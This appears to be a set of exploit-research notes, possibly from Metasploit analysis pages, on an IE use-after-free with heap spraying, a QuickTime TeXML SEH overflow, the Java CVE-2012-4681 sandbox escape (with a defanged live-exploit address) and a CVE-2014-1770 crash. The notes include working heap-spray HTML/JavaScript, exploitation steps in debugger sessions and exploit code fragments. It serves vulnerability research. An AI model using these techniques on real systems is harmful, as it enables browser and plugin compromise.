- After returning from CMarkup::UpdateMarkupContentsVersion we land into CMarkup::NotifyElementEnterTree:
.text:63776EC8 call ?UpdateMarkupContentsVersion@CMarkup@@QAEXXZ ; it's the call we're using for corruption .text:63776ECD mov eax, [esi+98h] ; esi is the controlled object .text:63776ED3 test eax, eax .text:63776ED5 jz short loc_63776EED .text:63776ED7 cmp dword ptr [esi+1A4h], 15F90h .text:63776EE1 jl short loc_63776EED .text:63776EE3 mov eax, [eax+8] .text:63776EE6 and dword ptr [eax+2F0h], 0FFFFFFBFh ; We need to bypass this and, after that we get the control back :)
Reused object:
0:008> dd 061b90c8 Ld0 061b90c8 deadc0de 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b90d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b90e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b90f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9108 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9118 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9128 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9138 1a1b1ff0 1a1b1ff0 1a1b1ff1 9a1b1ff1 061b9148 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9158 1a1b1ff0 1a1b2004 1a1b200c 1a1b1ff0 061b9168 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9178 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9188 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9198 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91a8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91b8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91c8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9208 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9218 1a1b1ff0 1a1b1ff0 1a1b1ff0 42424242 061b9228 1a1b1ff4 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9238 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9248 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9258 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9268 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9278 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9288 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9298 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92a8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92b8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92c8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9308 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9318 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9328 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9338 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9348 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9358 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9368 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9378 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9388 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9398 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93a8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93b8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93c8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 00001ff0
Sprayed memory should look like:
0:008> dd eax+10 1a1b2000 00000001 1a1b203c 00000000 1a1b2098 1a1b2010 1a1b2064 1a1b2068 00000000 00000000 1a1b2020 00000000 00000000 00000000 00000000 1a1b2030 00000000 00000000 00000000 00000000 1a1b2040 00000000 00000000 00000000 00000000 1a1b2050 00000000 00000000 00000000 00000000 1a1b2060 00000000 00000000 00000000 00000000 1a1b2070 00000000 00000000 00000000 00000000 x=1a1b1ff0 ebx=0298eeb8 ecx=00000195 edx=061b90c8 esi=061b90c8 edi=0297d568 eip=67ed9457 esp=02efb54c ebp=02efb5b8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19: 67ed9457 8b8a94000000 mov ecx,dword ptr [edx+94h] ds:0023:061b915c=04201b1a 0:008> dd edx + 94 061b915c 1a1b2004 0:008> t eax=00000000 ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568 eip=67ed9463 esp=02efb54c ebp=02efb5b8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x25: 67ed9463 8b410c mov eax,dword ptr [ecx+0Ch] ds:0023:1a1b2010=64201b1a 0:008> dd ecx + 0c 1a1b2010 1a1b2064 1a1b2068 00000000 00000000 1a1b2064 must point to sprayed memory with content "0" 0:008> t eax=1a1b2064 ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568 eip=67e86ecd esp=02efb550 ebp=02efb5b8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 MSHTML!CMarkup::NotifyElementEnterTree+0x277: 67e86ecd 8b8698000000 mov eax,dword ptr [esi+98h] ds:0023:061b9160=0c201b1a 0:008> dd esi + 98 061b9160 1a1b200c 0:008> dd 1a1b200c 1a1b200c 1a1b2098 1a1b2064 1a1b2068 00000000 1a1b201c 00000000 00000000 00000000 00000000 1a1b202c 00000000 00000000 00000000 00000000 1a1b203c 00000000 00000000 00000000 00000000 1a1b204c 00000000 00000000 00000000 00000000 1a1b205c 00000000 00000000 00000000 00000000 1a1b206c 00000000 00000000 00000000 00000000 1a1b207c 00000000 00000000 00000000 00000000 0:008> t eax=1a1b200c ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568 eip=67e86ee3 esp=02efb550 ebp=02efb5b8 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 MSHTML!CMarkup::NotifyElementEnterTree+0x28d: 67e86ee3 8b4008 mov eax,dword ptr [eax+8] ds:0023:1a1b2014=68201b1a 0:008> dd eax+8 1a1b2014 1a1b2068
Simulate an spray with:
.dvalloc /b 1a1b1ff0 4000
THen go to 1a1b2004 and write:
1a1b203c 00000000 1a1b2098 1a1b2064 1a1b2068
After several tries I keep crashing curiously again:
0:008> r eax=00000000 ebx=02f0c028 ecx=1a1b1ff0 edx=04e68ad8 esi=04e68ad8 edi=02f02b00 eip=67ed9466 esp=036bb46c ebp=036bb4d8 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x28: 67ed9466 83b8c001000000 cmp dword ptr [eax+1C0h],0 ds:0023:000001c0=???????? 0:008> dd ecx+c 1a1b1ffc 00000000 00000003 1a1b203c 00000000 1a1b200c 1a1b2098 1a1b2064 1a1b2068 00000000
So we’re going to try adding to 1a1b1ffc => 1a1b205c => It adds some reliability,
but finally crashes again, looks like because finally we don’t control the reused
memory, someone else won the race :?
.dvalloc /b 1a1b1ff0 4000 f 1a1b1ffc L1C 5C 20 1B 1A 00 00 00 00 3C 20 1B 1A 00 00 00 00 98 20 1B 1A 64 20 1B 1A 68 20 1B 1A
Heap Spray with Attributes
In order to use the technique by vupen disclosed here:
http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php
the cloneNode doesn’t work anymore:
var cl0ne = test.cloneNode(true);
It won’t clone attribute values, so CAttrValue::Copy isn’t hit anymore. In order to solve, after checking
the xrefx to CattrValue::Copy there is an interesting new path:
CElement::mergeAttributes Here is PoC: function test() { var myDiv = document.getElementById("pwn") var test = document.createElement("select") test.setAttribute('obj0', "AAAAAAAAAAAAAAAAAAAA") test.setAttribute('obj1', new Date()) test.setAttribute('obj2', new Date()) test.setAttribute('obj3', "METASPLOIT") alert(test.attributes.length); alert(test.getAttribute('obj0')); var cl0ne = test.cloneNode(true); cl0ne.mergeAttributes(test); }
Spraying with Attributes, definite version:
<html> <head> <script> function myTest() { var test = document.createElement("select") for (var j = 0; j < 0x80; j++) { test.setAttribute('test' + j, unescape("%u0001")) } var empty = document.createElement("select") alert('oka, bp copy......') var myAttributes = new Array(); for (var i = 0; i < 0x20; i++) { myAttributes[i] = empty.cloneNode(true); myAttributes[i].mergeAttributes(test); } alert('oka, check what is there in memory...') alert(myAttributes[0].getAttribute('test0').length); //alert(myAttributes[0].test0.length); //alert(cl0ne.attributes.length); } </script> </head> <body onload="myTest();"> </body> </html>
It will spray 0x800 size structs (with the Variant types and the pointers to strings!)
Technical Analysis
-
Down p sub_67EED2E0+193 call dangerous_copy_sub_67EED1E0 <— Interesting (0x67EED473)
Down p sub_67EED2E0+1E7 call dangerous_copy_sub_67EED1E0
Down p sub_67EED2E0+23C call dangerous_copy_sub_67EED1E0
Down p sub_67EED2E0+28D call dangerous_copy_sub_67EED1E0
Down p manage_transform_sub_67EED810+B6 call dangerous_copy_sub_67EED1E0 (*) this is the one we have reviewed
We noticed that sub_67EED2E0+193 can also trigger the crash, with even longer data without triggering the warning. In this particular case, the parser is handling arguments ending with a "%", which can be reached as a 'color' argument, for example:
{ color: AAAAAAAAAAAAAA% }
Where "AAAAAAAAAAAAAA" will be copied on the stack. Also see poc3.xml for example. As a result, we get to overwrite the stack with more data (like I said), and we end up overwriting the SEH:
(c54.da8): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\QuickTime\QTSystem\QuickTime3GPP.qtx -
eax=00000030 ebx=0013cc25 ecx=0e0a7288 edx=0000355f esi=00140000 edi=0013cba0
eip=67eed1f3 esp=0013cb74 ebp=00000004 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
QuickTime3GPP!EatTx3gComponentDispatch+0x4033:
67eed1f3 8806 mov byte ptr [esi],al ds:0023:00140000=41
0:000> !exchain
0013ce24: 30303030
Invalid exception stack at 30303030
0:000> g
(c54.da8): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=30303030 edx=7c9032bc esi=00000000 edi=00000000
eip=30303030 esp=0013c7a4 ebp=0013c7c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
30303030 ?? ???
”`
quicktime.qts does not have Safe SEH protected.
The final version of the exploit can be found here:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/apple_quicktime_texml.rb
Technical Analysis
References
References about the attack:
- http://labs.alienvault.com/labs/index.php/2012/new-java-0day-exploited-in-the-wild/
- http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
- http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html
- http://eromang.zataz.com/2012/08/27/oracle-java-0day-and-the-myth-of-a-targeted-attack/
- http://scrammed.blogspot.com/2012/08/analysing-cve-2012-xxxx-latest-java-0day.html
- http://www.us-cert.gov/cas/techalerts/TA12-240A.html
- http://www.kahusecurity.com/2012/java-0-day-using-latest-dadongs-js-obfuscator/
- http://thexploit.com/sec/java-facepalm-suntoolkit-getfield-vulnerability/
- http://immunityproducts.blogspot.com.ar/2012/08/java-0day-analysis-cve-2012-4681.html
- http://www.guardian.co.uk/technology/2012/aug/30/java-exploit-asian-hackers-says-symantec?newsfeed=true
References about the Java API used:
- http://www.docjar.com/html/api/java/beans/Statement.java.html // See ClassFinder & findMethod
- http://www.docjar.com/html/api/sun/awt/SunToolkit.java.html // See getField()
- http://docs.oracle.com/javase/7/docs/api/overview-summary.html
- http://www.oracle.com/technetwork/java/seccodeguide-139067.html
getField() wasn’t always public, see the following for an example:
http://javasourcecode.org/html/open-source/jdk/jdk-6u23/sun/awt/SunToolkit.java.html
Summary
This is a vulnerability specifically targeting Java 7. Some reports reveal the origin of the 0day
exploit comes from a popular exploit kit named “Gondad Exploit Kit” (google “ZZVnxA1X”), some people
also claim the 0day originally comes from VulnDisco, which is an exploit pack used by Immunity
Canvas. No matter, the public noticed the attack as a malware being hosted at 59.120.154.62, which
is a server located in Taiwan. The decompiled source also has strings (lyrics) such as
“woyouyizhixiaomaolv” and “conglaiyebuqi” indicating that whoever wrote it must know Mandarin Chinese
quite well, possibly China because that’s “Pinyin” input method, and he probably grew up there
due the choice of the song. It would be reasonable to say that someone in China has been using the
exploit, and hosts the malicious code on a compromised server in Taiwan.
The actual link to the live exploit is:
hxxp://59.120.154.62/meeting/index.html
The exploit takes advantage of two issues: The ClassFinder and MethodFinder.findMethod(). Both
were newly introduced in JDK 7. ClassFinder is a replacement for classForName back in JDK 6. It
allows untrusted code to obtain a reference and have access to a restricted package in JDK 7, which
can be used to abuse sun.awt.SunToolkit (a restricted package). With sun.awt.SunToolkit, we can
actually invoke getField() by abusing findMethod() in Statement.invokeInternal() (but getField()
must be public, and that’s not always the case in JDK 6) in order to access Statement.acc’s private
field, modify AccessControlContext, and then disable Security Manager. Once Security Manager is
disabled, we can execute arbitrary Java code.
Our exploit has been tested successfully against multiple platforms, including: IE, Firefox, Safari,
Chrome; Windows, Ubuntu, OS X, etc. We have even received reports claiming the exploit also works
against Solaris.
Timeline
Aug xx 2011 – Vulnerable code was introduced in JDK7
Apr xx 2012 – Oracle already aware of the vulnerabilities: http://www.theregister.co.uk/2012/08/30/oracle_knew_about_flaws/
Jun xx 2012 – Infected server hosting malware code: http://urlquery.net/report.php?id=70896
Aug 26 2012 – First blog emerged about the Java 0day: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
Aug 26 2012 – PoC extracted from the malicious site by Joshua Drake: https://twitter.com/jduck1337/status/239875285913317376
Aug 27 2012 – Metasploit exploit available: https://community.rapid7.com/community/metasploit/blog/2012/08/27/lets-start-the-week-with-a-new-java-0day
Aug 28 2012 – CVE assigned as CVE-2012-4681
Aug 30 2012 – Java 7 Update 7 available (out of band patch)
Exceptions happens on this line of the Exploit:
GetClass("sun.awt.SunToolkit") private Class GetClass(String paramString) throws Throwable { Object arrayOfObject[] = new Object[1]; arrayOfObject[0] = paramString; Expression localExpression = new Expression(Class.class, "forName", arrayOfObject); <=== localExpression.execute(); // (3) Fails !!! <==== return (Class)localExpression.getValue(); }
Through Expression it tries to do Class.forName(“sun.awt.SunToolkit”). Despite the use of
Expression, according to the Exception on Java6 root cause seems to be on Class.forName.
When checking java 7 api you can read:
public static Class classForName(String name) throws ClassNotFoundException Deprecated! As - of JDK version 7, replaced by ClassFinder#resolveClass(String) .
Returns the Class object associated with the class or interface with the given string name, using the default class loader
So maybe something was lost con ClassFinder#resolveClass….
Digging into source code of openjdk:
- On Java 7
======
jdk/src/share/classes/java/lang/Class.java public static Class<?> forName(String className) throws ClassNotFoundException { return forName0(className, true, ClassLoader.getCallerClassLoader()); } /** Called after security checks have been made. */ private static native Class<?> forName0(String name, boolean initialize, ClassLoader loader) throws ClassNotFoundException; jdk/src/share/native/java/lang/Class.c JNIEXPORT jclass JNICALL Java_java_lang_Class_forName0(JNIEnv *env, jclass this, jstring classname, jboolean initialize, jobject loader) .... cls = JVM_FindClassFromClassLoader(env, clname, initialize, loader, JNI_FALSE);
hotspot/src/share/vm/prims/jvm.cpp
JVM_ENTRY(jclass, JVM_FindClassFromClassLoader(JNIEnv* env, const char* name, jboolean init, jobject loader, jboolean throwError)) JVMWrapper3("JVM_FindClassFromClassLoader %s throw %s", name, throwError ? "error" : "exception"); // Java libraries should ensure that name is never null... if (name == NULL || (int)strlen(name) > Symbol::max_length()) { // It's impossible to create this class; the name cannot fit // into the constant pool. if (throwError) { THROW_MSG_0(vmSymbols::java_lang_NoClassDefFoundError(), name); } else { THROW_MSG_0(vmSymbols::java_lang_ClassNotFoundException(), name); } } TempNewSymbol h_name = SymbolTable::new_symbol(name, CHECK_NULL); Handle h_loader(THREAD, JNIHandles::resolve(loader)); jclass result = find_class_from_class_loader(env, h_name, init, h_loader, Handle(), throwError, THREAD); if (TraceClassResolution && result != NULL) { trace_class_resolution(java_lang_Class::as_klassOop(JNIHandles::resolve_non_null(result))); } return result; JVM_END
hotspot/src/share/vm/classfile/systemDictionary.cpp
jclass find_class_from_class_loader(JNIEnv* env, symbolHandle name, jboolean init, Handle loader, Handle protection_domain, jboolean throwError, TRAPS) { // Security Note: // The Java level wrapper will perform the necessary security check allowing // us to pass the NULL as the initiating class loader. klassOop klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL); KlassHandle klass_handle(THREAD, klass); // Check if we should initialize the class if (init && klass_handle->oop_is_instance()) { klass_handle->initialize(CHECK_NULL); } return (jclass) JNIHandles::make_local(env, klass_handle->java_mirror()); } hotspot/src/share/vm/classfile/systemDictionary.cpp klassOop SystemDictionary::resolve_or_fail(symbolHandle class_name, Handle class_loader, Handle protection_domain, bool throw_error, TRAPS) { klassOop klass = resolve_or_null(class_name, class_loader, protection_domain, THREAD); if (HAS_PENDING_EXCEPTION || klass == NULL) { KlassHandle k_h(THREAD, klass); // can return a null klass klass = handle_resolution_exception(class_name, class_loader, protection_domain, throw_error, k_h, THREAD); } return klass; } klassOop SystemDictionary::resolve_or_null(symbolHandle class_name, Handle class_loader, Handle protection_domain, TRAPS) { assert(!THREAD->is_Compiler_thread(), "Can not load classes with the Compiler thread"); if (FieldType::is_array(class_name())) { return resolve_array_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL); } else { return resolve_instance_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL); } }
…. First review of resolve_instance_class_or_null doesn’t spot anything interesting at first view! Maybe
I should check carefully
- On java6:
=====
jdk/src/share/native/java/lang/Class.c public static Class<?> forName(String className) throws ClassNotFoundException { return forName0(className, true, ClassLoader.getCallerClassLoader()); } /** Called after security checks have been made. */ private static native Class forName0(String name, boolean initialize, ClassLoader loader) throws ClassNotFoundException;
hotspot/src/share/vm/prims/jvm.cpp
JVM_ENTRY(jclass, JVM_FindClassFromClassLoader(JNIEnv* env, const char* name, jboolean init, jobject loader, jboolean throwError)) JVMWrapper3("JVM_FindClassFromClassLoader %s throw %s", name, throwError ? "error" : "exception"); // Java libraries should ensure that name is never null... if (name == NULL || (int)strlen(name) > symbolOopDesc::max_length()) { // It's impossible to create this class; the name cannot fit // into the constant pool. if (throwError) { THROW_MSG_0(vmSymbols::java_lang_NoClassDefFoundError(), name); } else { THROW_MSG_0(vmSymbols::java_lang_ClassNotFoundException(), name); } } symbolHandle h_name = oopFactory::new_symbol_handle(name, CHECK_NULL); Handle h_loader(THREAD, JNIHandles::resolve(loader)); jclass result = find_class_from_class_loader(env, h_name, init, h_loader, Handle(), throwError, THREAD); if (TraceClassResolution && result != NULL) { trace_class_resolution(java_lang_Class::as_klassOop(JNIHandles::resolve_non_null(result))); } return result; JVM_END
jclass find_class_from_class_loader(JNIEnv* env, Symbol* name, jboolean init, Handle loader, Handle protection_domain, jboolean throwError, TRAPS) { // Security Note: // The Java level wrapper will perform the necessary security check allowing // us to pass the NULL as the initiating class loader. klassOop klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL); KlassHandle klass_handle(THREAD, klass); // Check if we should initialize the class if (init && klass_handle->oop_is_instance()) { klass_handle->initialize(CHECK_NULL); } return (jclass) JNIHandles::make_local(env, klass_handle->java_mirror()); }
hotspot/src/share/vm/classfile/systemDictionary.cpp
klassOop SystemDictionary::resolve_or_fail(Symbol* class_name, Handle class_loader, Handle protection_domain, bool throw_error, TRAPS) { klassOop klass = resolve_or_null(class_name, class_loader, protection_domain, THREAD); if (HAS_PENDING_EXCEPTION || klass == NULL) { KlassHandle k_h(THREAD, klass); // can return a null klass klass = handle_resolution_exception(class_name, class_loader, protection_domain, throw_error, k_h, THREAD); } return klass;
klassOop SystemDictionary::resolve_or_null(Symbol* class_name, Handle class_loader, Handle protection_domain, TRAPS) { assert(!THREAD->is_Compiler_thread(), "Can not load classes with the Compiler thread"); if (FieldType::is_array(class_name)) { return resolve_array_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL); } else if (FieldType::is_obj(class_name)) { ResourceMark rm(THREAD); // Ignore wrapping L and ;. TempNewSymbol name = SymbolTable::new_symbol(class_name->as_C_string() + 1, class_name->utf8_length() - 2, CHECK_NULL); return resolve_instance_class_or_null(name, class_loader, protection_domain, CHECK_NULL); } else { return resolve_instance_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL); } }
…. First review of resolve_instance_class_or_null doesn’t spot anything interesting at first view! Maybe
I should check carefully
So going high level….
As have been said before, on JDK 7, classForName has been replaced by ClassFinder#resolveClass
public static Class classForName(String name) throws ClassNotFoundException Deprecated! As - of JDK version 7, replaced by ClassFinder#resolveClass(String) . ClassFinder doesn't exist on JDK 6, so digging into JDK 7: * @see #resolveClass(String,ClassLoader) */ public static Class<?> resolveClass(String name) throws ClassNotFoundException { return resolveClass(name, null); } calls with loader == null.... /** * Returns the {@code Class} object associated with * the class or interface with the given string name, * using the given class loader. * <p> * The {@code name} can denote an array class * (see {@link Class#getName} for details). * <p> * If the parameter {@code loader} is null, * the class is loaded through the default class loader. * <p> * This method can be used to obtain * any of the {@code Class} objects * representing {@code void} or primitive Java types: * {@code char}, {@code byte}, {@code short}, * {@code int}, {@code long}, {@code float}, * {@code double} and {@code boolean}. * * @param name fully qualified name of the desired class * @param loader class loader from which the class must be loaded * @return class object representing the desired class * * @throws ClassNotFoundException if the class cannot be located * by the specified class loader * * @see #findClass(String,ClassLoader) * @see PrimitiveTypeMap#getType(String) */ public static Class<?> resolveClass(String name, ClassLoader loader) throws ClassNotFoundException { Class<?> type = PrimitiveTypeMap.getType(name); return (type == null) ? findClass(name, loader) : type; } /** * Returns the {@code Class} object associated with * the class or interface with the given string name, * using the given class loader. * <p> * The {@code name} can denote an array class * (see {@link Class#getName} for details). * <p> * If the parameter {@code loader} is null, * the class is loaded through the default class loader. * * @param name fully qualified name of the desired class * @param loader class loader from which the class must be loaded * @return class object representing the desired class * * @throws ClassNotFoundException if the class cannot be located * by the specified class loader * * @see #findClass(String,ClassLoader) * @see Class#forName(String,boolean,ClassLoader) */ public static Class<?> findClass(String name, ClassLoader loader) throws ClassNotFoundException { if (loader != null) { try { return Class.forName(name, false, loader); } catch (ClassNotFoundException exception) { // use default class loader instead } catch (SecurityException exception) { // use default class loader instead } } return findClass(name); }
Will call…. so here we go…. I suppose the difference could be how
Java 7 calls to Class.forName maybe….:
/** * Returns the {@code Class} object associated * with the class or interface with the given string name, * using the default class loader. * <p> * The {@code name} can denote an array class * (see {@link Class#getName} for details). * * @param name fully qualified name of the desired class * @return class object representing the desired class * * @throws ClassNotFoundException if the class cannot be located * by the specified class loader * * @see Class#forName(String) * @see Class#forName(String,boolean,ClassLoader) * @see ClassLoader#getSystemClassLoader() * @see Thread#getContextClassLoader() */ public static Class<?> findClass(String name) throws ClassNotFoundException { try { ClassLoader loader = Thread.currentThread().getContextClassLoader(); if (loader == null) { // can be null in IE (see 6204697) loader = ClassLoader.getSystemClassLoader(); } if (loader != null) { return Class.forName(name, false, loader); } } catch (ClassNotFoundException exception) { // use current class loader instead } catch (SecurityException exception) { // use current class loader instead } return Class.forName(name); }
In Java6
at java.security.AccessControlContext.checkPermission(Unknown Source) at java.security.AccessController.checkPermission(Unknown Source) at java.lang.SecurityManager.checkPermission(Unknown Source) at java.lang.SecurityManager.checkPackageAccess(Unknown Source) at sun.plugin2.applet.Applet2SecurityManager.checkPackageAccess(Unknown Source) at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at sun.plugin2.applet.Plugin2ClassLoader.loadClass0(Unknown Source) at sun.plugin2.applet.Plugin2ClassLoader.loadClass(Unknown Source) at sun.plugin2.applet.Plugin2ClassLoader.loadClass0(Unknown Source) at sun.plugin2.applet.Plugin2ClassLoader.loadClass(Unknown Source) at sun.plugin2.applet.Plugin2ClassLoader.loadClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at java.lang.Class.forName0(Native Method) at java.lang.Class.forName(Unknown Source)
My feeling is…. on Java7 the sun.plugin2.applet.Plugin2ClassLoader is not
being used….. sooo…. whhich one?…. maybe:
ClassLoader loader = Thread.currentThread().getContextClassLoader(); if (loader == null) { // can be null in IE (see 6204697) loader = ClassLoader.getSystemClassLoader(); }
maybe??? not sure 100% sorry, I would need debug it to see a little better…
The difference, could be, with JDK6, where the ClassFinder doesn’t exist, is which
forName would be call and ClassLoader.getCallerClassLoader() will be used…. could be???
/** * Returns the {@code Class} object associated with the class or * interface with the given string name. Invoking this method is * equivalent to: * * <blockquote> * {@code Class.forName(className, true, currentLoader)} * </blockquote> * * where {@code currentLoader} denotes the defining class loader of * the current class. * * <p> For example, the following code fragment returns the * runtime {@code Class} descriptor for the class named * {@code java.lang.Thread}: * * <blockquote> * {@code Class t = Class.forName("java.lang.Thread")} * </blockquote> * <p> * A call to {@code forName("X")} causes the class named * {@code X} to be initialized. * * @param className the fully qualified name of the desired class. * @return the {@code Class} object for the class with the * specified name. * @exception LinkageError if the linkage fails * @exception ExceptionInInitializerError if the initialization provoked * by this method fails * @exception ClassNotFoundException if the class cannot be located */ public static Class<?> forName(String className) throws ClassNotFoundException { return forName0(className, true, ClassLoader.getCallerClassLoader()); }
Technical Analysis
This is from crash2, gflags enabled
Originally discovered by Corelanc0d3r, see:
https://www.corelan.be/index.php/2014/05/22/on-cve-2014-1770-zdi-14-140-internet-explorer-8-0day/
Note
This was kept private until an official patch was out from Microsoft
0:008> r eax=00000000 ebx=00000000 ecx=7c91003d edx=00155000 esi=0cc2ef38 edi=0cc2ef38 eip=63621339 esp=037cfb88 ebp=037cfba4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CSelectionManager::EnsureEditContext+0x30: 63621339 837f1800 cmp dword ptr [edi+18h],0 ds:0023:0cc2ef50=???????? 0:008> !heap -p -a edi address 0cc2ef38 found in _DPH_HEAP_ROOT @ 151000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) c6bc350: cc2e000 2000 7c927553 ntdll!RtlFreeHeap+0x000000f9 6375bc86 mshtml!CSelectionManager::`vector deleting destructor'+0x00000022 6375b528 mshtml!CSelectionManager::Release+0x0000001e 6358c7b0 mshtml!CSelectionManager::DoPendingElementExit+0x00000211 6358c61b mshtml!CSelectionManager::DoPendingTasks+0x00000019 63621335 mshtml!CSelectionManager::EnsureEditContext+0x0000002c 6361c2bd mshtml!CHTMLEditor::Notify+0x0000005a 6361c270 mshtml!CHTMLEditorProxy::Notify+0x00000021 6360feb4 mshtml!CDoc::NotifySelection+0x00000059 63620f7f mshtml!CCaret::UpdateScreenCaret+0x000000dd 63784934 mshtml!CCaret::DeferredUpdateCaretScroll+0x00000032 6364de62 mshtml!GlobalWndOnMethodCall+0x000000fb 6363c3c5 mshtml!GlobalWndProc+0x00000183 7e418734 USER32!InternalCallWinProc+0x00000028 7e418816 USER32!UserCallWinProcCheckWow+0x00000150 7e4189cd USER32!DispatchMessageWorker+0x00000306
